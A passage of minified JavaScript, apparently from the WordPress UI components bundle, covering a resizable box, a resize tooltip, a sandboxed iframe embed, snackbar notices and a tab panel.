t&&(this.parentNode.style.flexWrap=n),this.removeBase(e),r},t.prototype.bindEvents=function(){this.window&&(this.window.addEventListener("mouseup",this.onMouseUp),this.window.addEventListener("mousemove",this.onMouseMove),this.window.addEventListener("mouseleave",this.onMouseUp),this.window.addEventListener("touchmove",this.onMouseMove,{capture:!0,passive:!1}),this.window.addEventListener("touchend",this.onMouseUp))},t.prototype.unbindEvents=function(){this.window&&(this.window.removeEventListener("mouseup",this.onMouseUp),this.window.removeEventListener("mousemove",this.onMouseMove),this.window.removeEventListener("mouseleave",this.onMouseUp),this.window.removeEventListener("touchmove",this.onMouseMove,!0),this.window.removeEventListener("touchend",this.onMouseUp))},t.prototype.componentDidMount=function(){if(this.resizable&&this.window){var e=this.window.getComputedStyle(this.resizable);this.setState({width:this.state.width||this.size.width,height:this.state.height||this.size.height,flexBasis:"auto"!==e.flexBasis?e.flexBasis:void 0})}},t.prototype.componentWillUnmount=function(){this.window&&this.unbindEvents()},t.prototype.createSizeForCssProperty=function(e,t){var n=this.propsSize&&this.propsSize[t];return"auto"!==this.state[t]||this.state.original[t]!==e||void 0!==n&&"auto"!==n?e:"auto"},t.prototype.calculateNewMaxFromBoundary=function(e,t){var n,r,o=this.props.boundsByDirection,i=this.state.direction,s=o&&cL("left",i),a=o&&cL("top",i);if("parent"===this.props.bounds){var l=this.parentNode;l&&(n=s?this.resizableRight-this.parentLeft:l.offsetWidth+(this.parentLeft-this.resizableLeft),r=a?this.resizableBottom-this.parentTop:l.offsetHeight+(this.parentTop-this.resizableTop))}else"window"===this.props.bounds?this.window&&(n=s?this.resizableRight:this.window.innerWidth-this.resizableLeft,r=a?this.resizableBottom:this.window.innerHeight-this.resizableTop):this.props.bounds&&(n=s?this.resizableRight-this.targetLeft:this.props.bounds.offsetWidth+(this.targetLeft-this.resizableLeft),r=a?this.resizableBottom-this.targetTop:this.props.bounds.offsetHeight+(this.targetTop-this.resizableTop));return n&&Number.isFinite(n)&&(e=e&&e<n?e:n),r&&Number.isFinite(r)&&(t=t&&t<r?t:r),{maxWidth:e,maxHeight:t}},t.prototype.calculateNewSizeFromDirection=function(e,t){var n=this.props.scale||1,r=this.props.resizeRatio||1,o=this.state,i=o.direction,s=o.original,a=this.props,l=a.lockAspectRatio,c=a.lockAspectRatioExtraHeight,u=a.lockAspectRatioExtraWidth,d=s.width,p=s.height,f=c||0,h=u||0;return cL("right",i)&&(d=s.width+(e-s.x)*r/n,l&&(p=(d-h)/this.ratio+f)),cL("left",i)&&(d=s.width-(e-s.x)*r/n,l&&(p=(d-h)/this.ratio+f)),cL("bottom",i)&&(p=s.height+(t-s.y)*r/n,l&&(d=(p-f)*this.ratio+h)),cL("top",i)&&(p=s.height-(t-s.y)*r/n,l&&(d=(p-f)*this.ratio+h)),{newWidth:d,newHeight:p}},t.prototype.calculateNewSizeFromAspectRatio=function(e,t,n,r){var o=this.props,i=o.lockAspectRatio,s=o.lockAspectRatioExtraHeight,a=o.lockAspectRatioExtraWidth,l=void 0===r.width?10:r.width,c=void 0===n.width||n.width<0?e:n.width,u=void 0===r.height?10:r.height,d=void 0===n.height||n.height<0?t:n.height,p=s||0,f=a||0;if(i){var h=(u-p)*this.ratio+f,m=(d-p)*this.ratio+f,g=(l-f)/this.ratio+p,v=(c-f)/this.ratio+p,b=Math.max(l,h),x=Math.min(c,m),y=Math.max(u,g),w=Math.min(d,v);e=aL(e,b,x),t=aL(t,y,w)}else e=aL(e,l,c),t=aL(t,u,d);return{newWidth:e,newHeight:t}},t.prototype.setBoundingClientRect=function(){if("parent"===this.props.bounds){var e=this.parentNode;if(e){var t=e.getBoundingClientRect();this.parentLeft=t.left,this.parentTop=t.top}}if(this.props.bounds&&"string"!=typeof this.props.bounds){var n=this.props.bounds.getBoundingClientRect();this.targetLeft=n.left,this.targetTop=n.top}if(this.resizable){var r=this.resizable.getBoundingClientRect(),o=r.left,i=r.top,s=r.right,a=r.bottom;this.resizableLeft=o,this.resizableRight=s,this.resizableTop=i,this.resizableBottom=a}},t.prototype.onResizeStart=function(e,t){if(this.resizable&&this.window){var n,r=0,o=0;if(e.nativeEvent&&function(e){return Boolean((e.clientX||0===e.clientX)&&(e.clientY||0===e.clientY))}(e.nativeEvent)?(r=e.nativeEvent.clientX,o=e.nativeEvent.clientY):e.nativeEvent&&uL(e.nativeEvent)&&(r=e.nativeEvent.touches[0].clientX,o=e.nativeEvent.touches[0].clientY),this.props.onResizeStart)if(this.resizable)if(!1===this.props.onResizeStart(e,t,this.resizable))return;this.props.size&&(void 0!==this.props.size.height&&this.props.size.height!==this.state.height&&this.setState({height:this.props.size.height}),void 0!==this.props.size.width&&this.props.size.width!==this.state.width&&this.setState({width:this.props.size.width})),this.ratio="number"==typeof this.props.lockAspectRatio?this.props.lockAspectRatio:this.size.width/this.size.height;var i=this.window.getComputedStyle(this.resizable);if("auto"!==i.flexBasis){var s=this.parentNode;if(s){var a=this.window.getComputedStyle(s).flexDirection;this.flexDir=a.startsWith("row")?"row":"column",n=i.flexBasis}}this.setBoundingClientRect(),this.bindEvents();var l={original:{x:r,y:o,width:this.size.width,height:this.size.height},isResizing:!0,backgroundStyle:iL(iL({},this.state.backgroundStyle),{cursor:this.window.getComputedStyle(e.target).cursor||"auto"}),direction:t,flexBasis:n};this.setState(l)}},t.prototype.onMouseMove=function(e){var t=this;if(this.state.isResizing&&this.resizable&&this.window){if(this.window.TouchEvent&&uL(e))try{e.preventDefault(),e.stopPropagation()}catch(e){}var n=this.props,r=n.maxWidth,o=n.maxHeight,i=n.minWidth,s=n.minHeight,a=uL(e)?e.touches[0].clientX:e.clientX,l=uL(e)?e.touches[0].clientY:e.clientY,c=this.state,u=c.direction,d=c.original,p=c.width,f=c.height,h=this.getParentSize(),m=function(e,t,n,r,o,i,s){return r=fL(r,e.width,t,n),o=fL(o,e.height,t,n),i=fL(i,e.width,t,n),s=fL(s,e.height,t,n),{maxWidth:void 0===r?void 0:Number(r),maxHeight:void 0===o?void 0:Number(o),minWidth:void 0===i?void 0:Number(i),minHeight:void 0===s?void 0:Number(s)}}(h,this.window.innerWidth,this.window.innerHeight,r,o,i,s);r=m.maxWidth,o=m.maxHeight,i=m.minWidth,s=m.minHeight;var g=this.calculateNewSizeFromDirection(a,l),v=g.newHeight,b=g.newWidth,x=this.calculateNewMaxFromBoundary(r,o);this.props.snap&&this.props.snap.x&&(b=dL(b,this.props.snap.x,this.props.snapGap)),this.props.snap&&this.props.snap.y&&(v=dL(v,this.props.snap.y,this.props.snapGap));var y=this.calculateNewSizeFromAspectRatio(b,v,{width:x.maxWidth,height:x.maxHeight},{width:i,height:s});if(b=y.newWidth,v=y.newHeight,this.props.grid){var w=lL(b,this.props.grid[0]),_=lL(v,this.props.grid[1]),S=this.props.snapGap||0;b=0===S||Math.abs(w-b)<=S?w:b,v=0===S||Math.abs(_-v)<=S?_:v}var C={width:b-d.width,height:v-d.height};if(p&&"string"==typeof p)if(p.endsWith("%"))b=b/h.width*100+"%";else if(p.endsWith("vw")){b=b/this.window.innerWidth*100+"vw"}else if(p.endsWith("vh")){b=b/this.window.innerHeight*100+"vh"}if(f&&"string"==typeof f)if(f.endsWith("%"))v=v/h.height*100+"%";else if(f.endsWith("vw")){v=v/this.window.innerWidth*100+"vw"}else if(f.endsWith("vh")){v=v/this.window.innerHeight*100+"vh"}var k={width:this.createSizeForCssProperty(b,"width"),height:this.createSizeForCssProperty(v,"height")};"row"===this.flexDir?k.flexBasis=k.width:"column"===this.flexDir&&(k.flexBasis=k.height),(0,Kr.flushSync)((function(){t.setState(k)})),this.props.onResize&&this.props.onResize(e,u,this.resizable,C)}},t.prototype.onMouseUp=function(e){var t=this.state,n=t.isResizing,r=t.direction,o=t.original;if(n&&this.resizable){var i={width:this.size.width-o.width,height:this.size.height-o.height};this.props.onResizeStop&&this.props.onResizeStop(e,r,this.resizable,i),this.props.size&&this.setState(this.props.size),this.unbindEvents(),this.setState({isResizing:!1,backgroundStyle:iL(iL({},this.state.backgroundStyle),{cursor:"auto"})})}},t.prototype.updateSize=function(e){this.setState({width:e.width,height:e.height})},t.prototype.renderResizer=function(){var e=this,t=this.props,n=t.enable,r=t.handleStyles,o=t.handleClasses,i=t.handleWrapperStyle,s=t.handleWrapperClass,a=t.handleComponent;if(!n)return null;var l=Object.keys(n).map((function(t){return!1!==n[t]?B.createElement(rL,{key:t,direction:t,onResizeStart:e.onResizeStart,replaceStyles:r&&r[t],className:o&&o[t]},a&&a[t]?a[t]:null):null}));return B.createElement("div",{className:s,style:i},l)},t.prototype.render=function(){var e=this,t=Object.keys(this.props).reduce((function(t,n){return-1!==hL.indexOf(n)||(t[n]=e.props[n]),t}),{}),n=iL(iL(iL({position:"relative",userSelect:this.state.isResizing?"none":"auto"},this.props.style),this.sizeStyle),{maxWidth:this.props.maxWidth,maxHeight:this.props.maxHeight,minWidth:this.props.minWidth,minHeight:this.props.minHeight,boxSizing:"border-box",flexShrink:0});this.state.flexBasis&&(n.flexBasis=this.state.flexBasis);var r=this.props.as||"div";return B.createElement(r,iL({ref:this.ref,style:n,className:this.props.className},t),this.state.isResizing&&B.createElement("div",{style:this.state.backgroundStyle}),this.props.children,this.renderResizer())},t.defaultProps={as:"div",onResizeStart:function(){},onResize:function(){},onResizeStop:function(){},enable:{top:!0,right:!0,bottom:!0,left:!0,topRight:!0,bottomRight:!0,bottomLeft:!0,topLeft:!0},style:{},grid:[1,1],lockAspectRatio:!1,lockAspectRatioExtraWidth:0,lockAspectRatioExtraHeight:0,scale:1,resizeRatio:1,snapGap:0},t}(B.PureComponent);const vL=()=>{},bL="bottom",xL="corner";function yL({axis:e,fadeTimeout:t=180,onResize:n=vL,position:r=bL,showPx:o=!1}){const[i,s]=(0,l.useResizeObserver)(),a=!!e,[u,d]=(0,c.useState)(!1),[p,f]=(0,c.useState)(!1),{width:h,height:m}=s,g=(0,c.useRef)(m),v=(0,c.useRef)(h),b=(0,c.useRef)(),x=(0,c.useCallback)((()=>{b.current&&window.clearTimeout(b.current),b.current=window.setTimeout((()=>{a||(d(!1),f(!1))}),t)}),[t,a]);(0,c.useEffect)((()=>{if(!(null!==h||null!==m))return;const e=h!==v.current,t=m!==g.current;if(e||t){if(h&&!v.current&&m&&!g.current)return v.current=h,void(g.current=m);e&&(d(!0),v.current=h),t&&(f(!0),g.current=m),n({width:h,height:m}),x()}}),[h,m,n,x]);const y=function({axis:e,height:t,moveX:n=!1,moveY:r=!1,position:o=bL,showPx:i=!1,width:s}){if(!n&&!r)return;if(o===xL)return`${s} x ${t}`;const a=i?" px":"";if(e){if("x"===e&&n)return`${s}${a}`;if("y"===e&&r)return`${t}${a}`}if(n&&r)return`${s} x ${t}`;if(n)return`${s}${a}`;if(r)return`${t}${a}`;return}({axis:e,height:m,moveX:u,moveY:p,position:r,showPx:o,width:h});return{label:y,resizeListener:i}}const wL=yl("div",{target:"e1wq7y4k3"})({name:"1cd7zoc",styles:"bottom:0;box-sizing:border-box;left:0;pointer-events:none;position:absolute;right:0;top:0"}),_L=yl("div",{target:"e1wq7y4k2"})({name:"ajymcs",styles:"align-items:center;box-sizing:border-box;display:inline-flex;justify-content:center;opacity:0;pointer-events:none;transition:opacity 120ms linear"}),SL=yl("div",{target:"e1wq7y4k1"})("background:",zl.theme.foreground,";border-radius:",Fl.radiusSmall,";box-sizing:border-box;font-family:",Ix("default.fontFamily"),";font-size:12px;color:",zl.theme.foregroundInverted,";padding:4px 8px;position:relative;"),CL=yl($v,{target:"e1wq7y4k0"})("&&&{color:",zl.theme.foregroundInverted,";display:block;font-size:13px;line-height:1.4;white-space:nowrap;}");const kL=(0,c.forwardRef)((function({label:e,position:t=xL,zIndex:n=1e3,...r},o){const i=!!e,s=t===xL;if(!i)return null;let l={opacity:i?1:void 0,zIndex:n},c={};return t===bL&&(l={...l,position:"absolute",bottom:-10,left:"50%",transform:"translate(-50%, 0)"},c={transform:"translate(0, 100%)"}),s&&(l={...l,position:"absolute",top:4,right:(0,a.isRTL)()?void 0:4,left:(0,a.isRTL)()?4:void 0}),(0,_t.jsx)(_L,{"aria-hidden":"true",className:"components-resizable-tooltip__tooltip-wrapper",ref:o,style:l,...r,children:(0,_t.jsx)(SL,{className:"components-resizable-tooltip__tooltip",style:c,children:(0,_t.jsx)(CL,{as:"span",children:e})})})})),jL=kL,EL=()=>{};const PL=(0,c.forwardRef)((function({axis:e,className:t,fadeTimeout:n=180,isVisible:r=!0,labelRef:o,onResize:i=EL,position:a=bL,showPx:l=!0,zIndex:c=1e3,...u},d){const{label:p,resizeListener:f}=yL({axis:e,fadeTimeout:n,onResize:i,showPx:l,position:a});if(!r)return null;const h=s("components-resize-tooltip",t);return(0,_t.jsxs)(wL,{"aria-hidden":"true",className:h,ref:d,...u,children:[f,(0,_t.jsx)(jL,{"aria-hidden":u["aria-hidden"],label:p,position:a,ref:o,zIndex:c})]})})),NL=PL,TL="components-resizable-box__handle",IL="components-resizable-box__side-handle",RL="components-resizable-box__corner-handle",ML={top:s(TL,IL,"components-resizable-box__handle-top"),right:s(TL,IL,"components-resizable-box__handle-right"),bottom:s(TL,IL,"components-resizable-box__handle-bottom"),left:s(TL,IL,"components-resizable-box__handle-left"),topLeft:s(TL,RL,"components-resizable-box__handle-top","components-resizable-box__handle-left"),topRight:s(TL,RL,"components-resizable-box__handle-top","components-resizable-box__handle-right"),bottomRight:s(TL,RL,"components-resizable-box__handle-bottom","components-resizable-box__handle-right"),bottomLeft:s(TL,RL,"components-resizable-box__handle-bottom","components-resizable-box__handle-left")},AL={width:void 0,height:void 0,top:void 0,right:void 0,bottom:void 0,left:void 0},DL={top:AL,right:AL,bottom:AL,left:AL,topLeft:AL,topRight:AL,bottomRight:AL,bottomLeft:AL};const zL=(0,c.forwardRef)((function({className:e,children:t,showHandle:n=!0,__experimentalShowTooltip:r=!1,__experimentalTooltipProps:o={},...i},a){return(0,_t.jsxs)(gL,{className:s("components-resizable-box__container",n&&"has-show-handle",e),handleComponent:Object.fromEntries(Object.keys(ML).map((e=>[e,(0,_t.jsx)("div",{tabIndex:-1},e)]))),handleClasses:ML,handleStyles:DL,ref:a,...i,children:[t,r&&(0,_t.jsx)(NL,{...o})]})}));const OL=function({naturalWidth:e,naturalHeight:t,children:n,isInline:r=!1}){if(1!==c.Children.count(n))return null;const o=r?"span":"div";let i;return e&&t&&(i=`${e} / ${t}`),(0,_t.jsx)(o,{className:"components-responsive-wrapper",children:(0,_t.jsx)("div",{children:(0,c.cloneElement)(n,{className:s("components-responsive-wrapper__content",n.props.className),style:{...n.props.style,aspectRatio:i}})})})},LL=function(){const{MutationObserver:e}=window;if(!e||!document.body||!window.parent)return;function t(){const e=document.body.getBoundingClientRect();window.parent.postMessage({action:"resize",width:e.width,height:e.height},"*")}function n(e){e.style&&["width","height","minHeight","maxHeight"].forEach((function(t){/^\\d+(vw|vh|svw|lvw|dvw|svh|lvh|dvh|vi|svi|lvi|dvi|vb|svb|lvb|dvb|vmin|svmin|lvmin|dvmin|vmax|svmax|lvmax|dvmax)$/.test(e.style[t])&&(e.style[t]="")}))}new e(t).observe(document.body,{attributes:!0,attributeOldValue:!1,characterData:!0,characterDataOldValue:!1,childList:!0,subtree:!0}),window.addEventListener("load",t,!0),Array.prototype.forEach.call(document.querySelectorAll("[style]"),n),Array.prototype.forEach.call(document.styleSheets,(function(e){Array.prototype.forEach.call(e.cssRules||e.rules,n)})),document.body.style.position="absolute",document.body.style.width="100%",document.body.setAttribute("data-resizable-iframe-connected",""),t(),window.addEventListener("resize",t,!0)};const FL=function({html:e="",title:t="",type:n,styles:r=[],scripts:o=[],onFocus:i,tabIndex:s}){const a=(0,c.useRef)(),[u,d]=(0,c.useState)(0),[p,f]=(0,c.useState)(0);function h(i=!1){if(!function(){try{return!!a.current?.contentDocument?.body}catch(e){return!1}}())return;const{contentDocument:s,ownerDocument:l}=a.current;if(!i&&null!==s?.body.getAttribute("data-resizable-iframe-connected"))return;const u=(0,_t.jsxs)("html",{lang:l.documentElement.lang,className:n,children:[(0,_t.jsxs)("head",{children:[(0,_t.jsx)("title",{children:t}),(0,_t.jsx)("style",{dangerouslySetInnerHTML:{__html:"\n\tbody {\n\t\tmargin: 0;\n\t}\n\thtml,\n\tbody,\n\tbody > div {\n\t\twidth: 100%;\n\t}\n\thtml.wp-has-aspect-ratio,\n\tbody.wp-has-aspect-ratio,\n\tbody.wp-has-aspect-ratio > div,\n\tbody.wp-has-aspect-ratio > div iframe {\n\t\twidth: 100%;\n\t\theight: 100%;\n\t\toverflow: hidden; /* If it has an aspect ratio, it shouldn't scroll. */\n\t}\n\tbody > div > * {\n\t\tmargin-top: 0 !important; /* Has to have !important to override inline styles. */\n\t\tmargin-bottom: 0 !important;\n\t}\n"}}),r.map(((e,t)=>(0,_t.jsx)("style",{dangerouslySetInnerHTML:{__html:e}},t)))]}),(0,_t.jsxs)("body",{"data-resizable-iframe-connected":"data-resizable-iframe-connected",className:n,children:[(0,_t.jsx)("div",{dangerouslySetInnerHTML:{__html:e}}),(0,_t.jsx)("script",{type:"text/javascript",dangerouslySetInnerHTML:{__html:`(${LL.toString()})();`}}),o.map((e=>(0,_t.jsx)("script",{src:e},e)))]})]});s.open(),s.write("<!DOCTYPE html>"+(0,c.renderToString)(u)),s.close()}return(0,c.useEffect)((()=>{function e(){h(!1)}function t(e){const t=a.current;if(!t||t.contentWindow!==e.source)return;let n=e.data||{};if("string"==typeof n)try{n=JSON.parse(n)}catch(e){}"resize"===n.action&&(d(n.width),f(n.height))}h();const n=a.current,r=n?.ownerDocument?.defaultView;return n?.addEventListener("load",e,!1),r?.addEventListener("message",t),()=>{n?.removeEventListener("load",e,!1),r?.removeEventListener("message",t)}}),[]),(0,c.useEffect)((()=>{h()}),[t,r,o]),(0,c.useEffect)((()=>{h(!0)}),[e,n]),(0,_t.jsx)("iframe",{ref:(0,l.useMergeRefs)([a,(0,l.useFocusableIframe)()]),title:t,tabIndex:s,className:"components-sandbox",sandbox:"allow-scripts allow-same-origin allow-presentation",onFocus:i,width:Math.ceil(u),height:Math.ceil(p)})};const BL=(0,c.forwardRef)((function({className:e,children:t,spokenMessage:n=t,politeness:r="polite",actions:o=[],onRemove:i,icon:l=null,explicitDismiss:u=!1,onDismiss:d,listRef:p},f){function h(e){e&&e.preventDefault&&e.preventDefault(),p?.current?.focus(),d?.(),i?.()}!function(e,t){const n="string"==typeof e?e:(0,c.renderToString)(e);(0,c.useEffect)((()=>{n&&(0,jy.speak)(n,t)}),[n,t])}(n,r);const m=(0,c.useRef)({onDismiss:d,onRemove:i});(0,c.useLayoutEffect)((()=>{m.current={onDismiss:d,onRemove:i}})),(0,c.useEffect)((()=>{const e=setTimeout((()=>{u||(m.current.onDismiss?.(),m.current.onRemove?.())}),1e4);return()=>clearTimeout(e)}),[u]);const g=s(e,"components-snackbar",{"components-snackbar-explicit-dismiss":!!u});o&&o.length>1&&(o=[o[0]]);const v=s("components-snackbar__content",{"components-snackbar__content-with-icon":!!l});return(0,_t.jsx)("div",{ref:f,className:g,onClick:u?void 0:h,tabIndex:0,role:u?void 0:"button",onKeyPress:u?void 0:h,"aria-label":u?void 0:(0,a.__)("Dismiss this notice"),"data-testid":"snackbar",children:(0,_t.jsxs)("div",{className:v,children:[l&&(0,_t.jsx)("div",{className:"components-snackbar__icon",children:l}),t,o.map((({label:e,onClick:t,url:n},r)=>(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,href:n,variant:"link",onClick:e=>function(e,t){e.stopPropagation(),i?.(),t&&t(e)}(e,t),className:"components-snackbar__action",children:e},r))),u&&(0,_t.jsx)("span",{role:"button","aria-label":(0,a.__)("Dismiss this notice"),tabIndex:0,className:"components-snackbar__dismiss-button",onClick:h,onKeyPress:h,children:"✕"})]})})})),VL=BL,$L={init:{height:0,opacity:0},open:{height:"auto",opacity:1,transition:{height:{type:"tween",duration:.3,ease:[0,0,.2,1]},opacity:{type:"tween",duration:.25,delay:.05,ease:[0,0,.2,1]}}},exit:{opacity:0,transition:{type:"tween",duration:.1,ease:[0,0,.2,1]}}};const HL=function({notices:e,className:t,children:n,onRemove:r}){const o=(0,c.useRef)(null),i=(0,l.useReducedMotion)();t=s("components-snackbar-list",t);const a=e=>()=>r?.(e.id);return(0,_t.jsxs)("div",{className:t,tabIndex:-1,ref:o,"data-testid":"snackbar-list",children:[n,(0,_t.jsx)(hg,{children:e.map((e=>{const{content:t,...n}=e;return(0,_t.jsx)(ag.div,{layout:!i,initial:"init",animate:"open",exit:"exit",variants:i?void 0:$L,children:(0,_t.jsx)("div",{className:"components-snackbar-list__notice-container",children:(0,_t.jsx)(VL,{...n,onRemove:a(e),listRef:o,children:e.content})})},e.id)}))})]})};const WL=al((function(e,t){const n=VE(e);return(0,_t.jsx)(_l,{...n,ref:t})}),"Surface");function UL(e={}){var t=e,{composite:n,combobox:r}=t,o=N(t,["composite","combobox"]);const i=["items","renderedItems","moves","orientation","virtualFocus","includesBaseElement","baseElement","focusLoop","focusShift","focusWrap"],s=Xe(o.store,Ye(n,i),Ye(r,i)),a=null==s?void 0:s.getState(),l=ht(P(E({},o),{store:s,includesBaseElement:F(o.includesBaseElement,null==a?void 0:a.includesBaseElement,!1),orientation:F(o.orientation,null==a?void 0:a.orientation,"horizontal"),focusLoop:F(o.focusLoop,null==a?void 0:a.focusLoop,!0)})),c=it(),u=He(P(E({},l.getState()),{selectedId:F(o.selectedId,null==a?void 0:a.selectedId,o.defaultSelectedId),selectOnMove:F(o.selectOnMove,null==a?void 0:a.selectOnMove,!0)}),l,s);We(u,(()=>Ke(u,["moves"],(()=>{const{activeId:e,selectOnMove:t}=u.getState();if(!t)return;if(!e)return;const n=l.item(e);n&&(n.dimmed||n.disabled||u.setState("selectedId",n.id))}))));let d=!0;We(u,(()=>qe(u,["selectedId"],((e,t)=>{d?n&&e.selectedId===t.selectedId||u.setState("activeId",e.selectedId):d=!0})))),We(u,(()=>Ke(u,["selectedId","renderedItems"],(e=>{if(void 0!==e.selectedId)return;const{activeId:t,renderedItems:n}=u.getState(),r=l.item(t);if(!r||r.disabled||r.dimmed){const e=n.find((e=>!e.disabled&&!e.dimmed));u.setState("selectedId",null==e?void 0:e.id)}else u.setState("selectedId",r.id)})))),We(u,(()=>Ke(u,["renderedItems"],(e=>{const t=e.renderedItems;if(t.length)return Ke(c,["renderedItems"],(e=>{const n=e.renderedItems,r=n.some((e=>!e.tabId));r&&n.forEach(((e,n)=>{if(e.tabId)return;const r=t[n];r&&c.renderItem(P(E({},e),{tabId:r.id}))}))}))}))));let p=null;return We(u,(()=>{const e=()=>{p=u.getState().selectedId},t=()=>{d=!1,u.setState("selectedId",p)};return n&&"setSelectElement"in n?M(Ke(n,["value"],e),Ke(n,["mounted"],t)):r?M(Ke(r,["selectedValue"],e),Ke(r,["mounted"],t)):void 0})),P(E(E({},l),u),{panels:c,setSelectedId:e=>u.setState("selectedId",e),select:e=>{u.setState("selectedId",e),l.move(e)}})}function GL(e={}){const t=NT(),n=AT()||t;e=b(v({},e),{composite:void 0!==e.composite?e.composite:n,combobox:void 0!==e.combobox?e.combobox:t});const[r,o]=rt(UL,e);return function(e,t,n){Te(t,[n.composite,n.combobox]),nt(e=gt(e,t,n),n,"selectedId","setSelectedId"),nt(e,n,"selectOnMove");const[r,o]=rt((()=>e.panels),{});return Te(o,[e,o]),Object.assign((0,B.useMemo)((()=>b(v({},e),{panels:r})),[e,r]),{composite:n.composite,combobox:n.combobox})}(r,o,e)}var KL=Et([Mt],[At]),qL=(KL.useContext,KL.useScopedContext),YL=KL.useProviderContext,XL=(KL.ContextProvider,KL.ScopedContextProvider),ZL=jt((function(e){var t=e,{store:n}=t,r=x(t,["store"]);const o=YL();D(n=n||o,!1);const i=n.useState((e=>"both"===e.orientation?void 0:e.orientation));return r=Me(r,(e=>(0,_t.jsx)(XL,{value:n,children:e})),[n]),n.composite&&(r=v({focusable:!1},r)),r=v({role:"tablist","aria-orientation":i},r),r=cn(v({store:n},r))})),QL=St((function(e){return kt("div",ZL(e))})),JL=jt((function(e){var t,n=e,{store:r,getItem:o}=n,i=x(n,["store","getItem"]);const s=qL();D(r=r||s,!1);const a=Pe(),l=i.id||a,c=O(i),u=(0,B.useCallback)((e=>{const t=b(v({},e),{dimmed:c});return o?o(t):t}),[c,o]),d=i.onClick,p=ke((e=>{null==d||d(e),e.defaultPrevented||null==r||r.setSelectedId(l)})),f=r.panels.useState((e=>{var t;return null==(t=e.items.find((e=>e.tabId===l)))?void 0:t.id})),h=!!a&&i.shouldRegisterItem,m=r.useState((e=>!!l&&e.activeId===l)),g=r.useState((e=>!!l&&e.selectedId===l)),y=r.useState((e=>!!r.item(e.activeId))),w=m||g&&!y,_=g||null==(t=i.accessibleWhenDisabled)||t;if(et(r.combobox||r.composite,"virtualFocus")&&(i=b(v({},i),{tabIndex:-1})),i=b(v({id:l,role:"tab","aria-selected":g,"aria-controls":f||void 0},i),{onClick:p}),r.composite){const e={id:l,accessibleWhenDisabled:_,store:r.composite,shouldRegisterItem:w&&h,rowId:i.rowId,render:i.render};i=b(v({},i),{render:(0,_t.jsx)(An,b(v({},e),{render:r.combobox&&r.composite!==r.combobox?(0,_t.jsx)(An,b(v({},e),{store:r.combobox})):e.render}))})}return i=Mn(b(v({store:r},i),{accessibleWhenDisabled:_,getItem:u,shouldRegisterItem:h}))})),eF=Ct(St((function(e){return kt("button",JL(e))}))),tF=jt((function(e){var t=e,{store:n,unmountOnHide:r,tabId:o,getItem:i,scrollRestoration:s,scrollElement:a}=t,l=x(t,["store","unmountOnHide","tabId","getItem","scrollRestoration","scrollElement"]);const c=YL();D(n=n||c,!1);const u=(0,B.useRef)(null),d=Pe(l.id),p=et(n.panels,(()=>{var e;return o||(null==(e=null==n?void 0:n.panels.item(d))?void 0:e.tabId)})),f=Yn({open:et(n,(e=>!!p&&e.selectedId===p))}),h=et(f,"mounted"),m=(0,B.useRef)(new Map),g=ke((()=>{const e=u.current;return e?a?"function"==typeof a?a(e):"current"in a?a.current:a:e:null}));(0,B.useEffect)((()=>{var e,t;if(!s)return;if(!h)return;const n=g();if(!n)return;if("reset"===s)return void n.scroll(0,0);if(!p)return;const r=m.current.get(p);n.scroll(null!=(e=null==r?void 0:r.x)?e:0,null!=(t=null==r?void 0:r.y)?t:0);const o=()=>{m.current.set(p,{x:n.scrollLeft,y:n.scrollTop})};return n.addEventListener("scroll",o),()=>{n.removeEventListener("scroll",o)}}),[s,h,p,g,n]);const[y,w]=(0,B.useState)(!1);(0,B.useEffect)((()=>{const e=u.current;if(!e)return;const t=$t(e);w(!!t.length)}),[]);const _=(0,B.useCallback)((e=>{const t=b(v({},e),{id:d||e.id,tabId:o});return i?i(t):t}),[d,o,i]),S=l.onKeyDown,C=ke((e=>{if(null==S||S(e),e.defaultPrevented)return;if(!(null==n?void 0:n.composite))return;const t={ArrowLeft:n.previous,ArrowRight:n.next,Home:n.first,End:n.last}[e.key];if(!t)return;const{selectedId:r}=n.getState(),o=t({activeId:r});o&&(e.preventDefault(),n.move(o))}));return l=Me(l,(e=>(0,_t.jsx)(XL,{value:n,children:e})),[n]),l=b(v({id:d,role:"tabpanel","aria-labelledby":p||void 0},l),{children:r&&!h?null:l.children,ref:Ee(u,l.ref),onKeyDown:C}),l=an(v({focusable:!n.composite&&!y},l)),l=Zr(v({store:f},l)),l=En(b(v({store:n.panels},l),{getItem:_}))})),nF=St((function(e){return kt("div",tF(e))}));const rF=e=>{if(null!=e)return e.match(/^tab-panel-[0-9]*-(.*)/)?.[1]},oF=(0,c.forwardRef)((({className:e,children:t,tabs:n,selectOnMove:r=!0,initialTabName:o,orientation:i="horizontal",activeClass:u="is-active",onSelect:d},p)=>{const f=(0,l.useInstanceId)(oF,"tab-panel"),h=(0,c.useCallback)((e=>{if(void 0!==e)return`${f}-${e}`}),[f]),m=GL({setSelectedId:e=>{if(null==e)return;const t=n.find((t=>h(t.name)===e));if(t?.disabled||t===b)return;const r=rF(e);void 0!==r&&d?.(r)},orientation:i,selectOnMove:r,defaultSelectedId:h(o),rtl:(0,a.isRTL)()}),g=rF(et(m,"selectedId")),v=(0,c.useCallback)((e=>{m.setState("selectedId",h(e))}),[h,m]),b=n.find((({name:e})=>e===g)),x=(0,l.usePrevious)(g);return(0,c.useEffect)((()=>{x!==g&&g===o&&g&&d?.(g)}),[g,o,d,x]),(0,c.useLayoutEffect)((()=>{if(b)return;const e=n.find((e=>e.name===o));if(!o||e)if(e&&!e.disabled)v(e.name);else{const e=n.find((e=>!e.disabled));e&&v(e.name)}}),[n,b,o,f,v]),(0,c.useEffect)((()=>{if(!b?.disabled)return;const e=n.find((e=>!e.disabled));e&&v(e.name)}),[n,b?.disabled,v,f]),(0,_t.jsxs)("div",{className:e,ref:p,children:[(0,_t.jsx)(QL,{store:m,className:"components-tab-panel__tabs",children:n.map((e=>(0,_t.jsx)(eF,{id:h(e.name),className:s("components-tab-panel__tabs-item",e.className,{[u]:e.name===g}),disabled:e.disabled,"aria-controls":`${h(e.name)}-view`,render:(0,_t.jsx)(Jx,{__next40pxDefaultSize:!0,icon:e.icon,label:e.icon&&e.title,showTooltip:!!e.icon}),children:!e.icon&&e.title},e.name)))}),b&&(0,_t.jsx)(nF,{id:`${h(b.name)}-view`,store:m,tabId:h(b.name),className:"components-tab-panel__tab-content",children:t(b)})]})})),iF=oF;const sF=(0,c.forwardRef)((function(e,t){const{__nextHasNoMarginBottom:n,__next40pxDefaultSize:r=!1,label:o,hideLabelFromVision:i,value:a,help:c,id:u,className:d,onChange:p,type:f="text",...h}=e,m=(0,l.useInstanceId)(sF,"inspector-text-control",u);return Ux({componentName:"TextControl",size:void 